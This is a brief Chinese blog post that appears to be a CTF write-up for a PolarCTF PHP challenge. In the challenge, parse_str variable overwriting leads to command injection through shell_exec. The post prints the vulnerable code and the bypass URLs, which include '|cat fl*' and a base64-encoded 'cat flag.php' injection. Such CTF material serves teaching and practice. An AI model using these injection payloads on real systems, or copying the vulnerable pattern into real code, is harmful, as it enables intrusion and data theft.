干正则(rce)

题目:

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

绕过:
?id=a[0]=www.polarctf.com&cmd=|cat fl*
?id=a[0]=www.polarctf.com&cmd=|echo "Y2F0IGZsYWcucGhw" | base64 -d
parse_str 函数会将 id 参数解析为变量并覆盖当前作用域的同名变量。

 <?php
$str = "a";
echo $str;
$b = "str=b";
@parse_str($b);
echo $str;

posted @ 2025-05-07 23:37  lethe311  阅读(4)  评论(0)    收藏  举报